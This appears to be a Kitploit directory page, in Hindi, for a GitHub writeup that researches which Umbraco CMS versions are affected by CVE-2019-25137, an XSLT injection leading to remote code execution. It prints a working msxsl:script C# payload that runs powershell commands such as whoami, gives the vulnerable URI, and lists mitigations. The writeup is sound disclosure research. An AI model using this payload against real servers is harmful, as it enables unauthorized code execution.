Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2019-25137-Version-Research — CVE-2019-25137 की पूरी सीमा की जांच करने वाला एक राइटअप | Kitploit
उपकरण/GitHubGitHub/ickarah/cve-2019-25137-version-research
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubickarah/cve-2019-25137-version-research

CVE-2019-25137-Version-Research

CVE-2019-25137 की पूरी सीमा की जांच करने वाला एक राइटअप

रिपॉजिटरी देखें
1113 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2019-25137 से प्रभावित संस्करण अनुसंधान


CVE-2019-25137 अवलोकन


CVE-2019-25137 Umbraco CMS में एक XSLT इंजेक्शन कमजोरी है। यह कमजोरी XSLT (एक्सटेंसिव स्टाइलशीट लैंग्वेज ट्रांसफॉर्मेशन) विज़ुअलाइज़र वेबपेज में मौजूद है। इस वेबपेज के लिए संवेदनशील URI /umbraco/developer/Xslt/xsltVisualize.aspx है।

XSLT विज़ुअलाइज़र का सफल शोषण लक्षित सिस्टम पर C# कोड निष्पादित कर सकता है। कमजोरी का शोषण करने के लिए, उपयोगकर्ता को Umbraco CMS के लिए वैध व्यवस्थापक क्रेडेंशियल्स की आवश्यकता होती है।

CVE-2019-25137 के लिए प्रूफ ऑफ कॉन्सेप्ट msxsl:script एलिमेंट का उपयोग करता है। यह एलिमेंट XSLT ट्रांसफॉर्मेशन में C# जैसी अतिरिक्त प्रोग्रामिंग भाषाओं के उपयोग की अनुमति देता है।


root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "<additional arguments>"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "<Can be powershell or cmd>"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>

XSLT पेलोड निम्नलिखित C# कोड को निष्पादित करने का प्रयास करेगा।


root@kitploit:~
string cmd = "<additional arguments>"; 
System.Diagnostics.Process proc = new System.Diagnostics.Process(); 
proc.StartInfo.FileName = "<Can be powershell or cmd>"; 
proc.StartInfo.Arguments = cmd; 
proc.StartInfo.UseShellExecute = false; 
proc.StartInfo.RedirectStandardOutput = true;  
proc.Start(); 
string output = proc.StandardOutput.ReadToEnd(); 
return output;

C# कोड को निम्नलिखित कथनों में विभाजित किया गया है - सभी परिभाषाएँ Microsoft की वेबसाइट पर प्रलेखित हैं।

Functionअवलोकन
System.Diagnostics.Process procस्थानीय और दूरस्थ प्रक्रियाओं तक पहुंच प्रदान करता है और उपयोगकर्ता को स्थानीय सिस्टम प्रक्रियाओं को प्रारंभ और रोकने में सक्षम बनाता है, इस प्रक्रिया को 'proc' कहा जाता है।
proc.StartInfo.FileNameउस एप्लिकेशन का नाम परिभाषित करता है जिसे उपयोगकर्ता प्रारंभ करना चाहता है (powershell या cmd)।
proc.StartInfo.ArgumentsFileName द्वारा आवश्यक किसी भी अतिरिक्त चर को परिभाषित करता है।
proc.StartInfo.UseShellExecuteएक मान जो इंगित करता है कि प्रक्रिया प्रारंभ करने के लिए ऑपरेटिंग सिस्टम शेल का उपयोग करना है या नहीं, powershell या cmd का उपयोग होने के कारण इसे false पर सेट किया गया है।
proc.StartInfo.RedirectStandardOutputएक मान जो इंगित करता है कि किसी एप्लिकेशन का आउटपुट StandardOutput स्ट्रीम पर लिखा जाता है या नहीं, इसे true पर सेट किया गया है।
proc.Start()'proc' प्रक्रिया संसाधन प्रारंभ करता है और इसे Process घटक के साथ संबद्ध करता है।
string output = proc.StandardOutput.ReadToEnd()'proc' पर समकालिक पढ़ने के संचालन करता है और इसे 'output' चर पर रीडायरेक्ट करता है।


Umbraco संस्करण विश्लेषण


चूंकि Umbraco एक ओपन सोर्स CMS है, मैंने उनकी वेबसाइट से विभिन्न स्थापना संस्करण प्राप्त किए ताकि यह निर्धारित कर सकूं कि कौन से संस्करण, पुराने और नए दोनों, में अभी भी xsltVisualize.aspx मौजूद हो सकता है।



विश्लेषण इंगित करता है कि xsltVisualize.aspx फ़ाइल Umbraco CMS संस्करण 4.11.8 से लेकर संस्करण 7.15.10 तक मौजूद है। यह फ़ाइल और संपूर्ण Development फ़ोल्डर संस्करण 8.0.0 और उससे ऊपर के संस्करणों में मौजूद नहीं है।




Umbraco 4.11.8 का परीक्षण


यह प्रदर्शित करने के लिए कि सबसे प्रारंभिक संस्करण भी CVE-2019-25137 के प्रति संवेदनशील है, मैंने Umbraco 4.11.8 का एक परीक्षण उदाहरण स्थापित किया।



Umbraco CMS 4.11.8 के xsltVisualize.aspx की तुलना Umbraco CMS संस्करण 7.12.4 के साथ करने पर पता चलता है कि जहां थोड़े अंतर हैं, वहीं वेबपेज की कार्यक्षमता समान है।


एक्सप्लॉइट का परीक्षण करने के लिए, उपयोगकर्ता को xsltSelection फ़ील्ड के भीतर पेलोड सबमिट करना होगा।



पहले प्रदान किए गए पेलोड का उपयोग करके, मैं रिमोट कोड निष्पादन प्राप्त करने में सक्षम था, जो दर्शाता है कि यह संस्करण भी संवेदनशील है। नीचे दी गई छवि whoami चलने को दर्शाती है।

root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>



Umbraco 7.15.10 का परीक्षण


यह प्रदर्शित करने के लिए कि xsltVisualize.aspx के साथ Umbraco का सबसे हालिया संस्करण भी संवेदनशील है, मैंने Umbraco 7.15.10 का एक परीक्षण उदाहरण स्थापित किया।


Umbraco CMS 7.15.10 के xsltVisualize.aspx की तुलना Umbraco CMS संस्करण 7.12.4 के साथ करने पर पता चलता है कि वे समान हैं।


/umbraco/developer/Xslt/xsltVisualize.aspx URI पर नेविगेट करने से संकेत मिलता है कि फ़ाइल वास्तव में मौजूद है।


पहले प्रदान किए गए समान पेलोड का उपयोग करके, मैं फिर से रिमोट कोड निष्पादन प्राप्त करने में सक्षम था, जो दर्शाता है कि यह संस्करण भी संवेदनशील है। नीचे दी गई छवि whoami चलने को दर्शाती है।

root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>


सारांश


ये उदाहरण दर्शाते हैं कि CVE-2019-25137 Umbraco संस्करणों पर 7.12.4 से अलग मौजूद है। 4.11.8 और 7.15.10 के बीच के सभी संस्करणों में संवेदनशील वेबपेज है और इसलिए उन्हें CVE अपडेट में शामिल किया जाना चाहिए। CVE-2019-25137 को xsltVisualize.aspx फ़ाइल तक पहुंच हटाकर या Umbraco के नवीनतम संस्करण में अपडेट करके कम किया जा सकता है।



संदर्भ

मूल CVE - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-25137

Umbraco रिलीज़ दिनांक - https://our.umbraco.com/download/releases/774

Umbraco संस्करण - https://our.umbraco.com/download/releases

XSLT परिभाषा - https://en.wikipedia.org/wiki/XSLT

उपयोग किया गया पेलोड - https://github.com/noraj/Umbraco-RCE

टूल डाउनलोड करें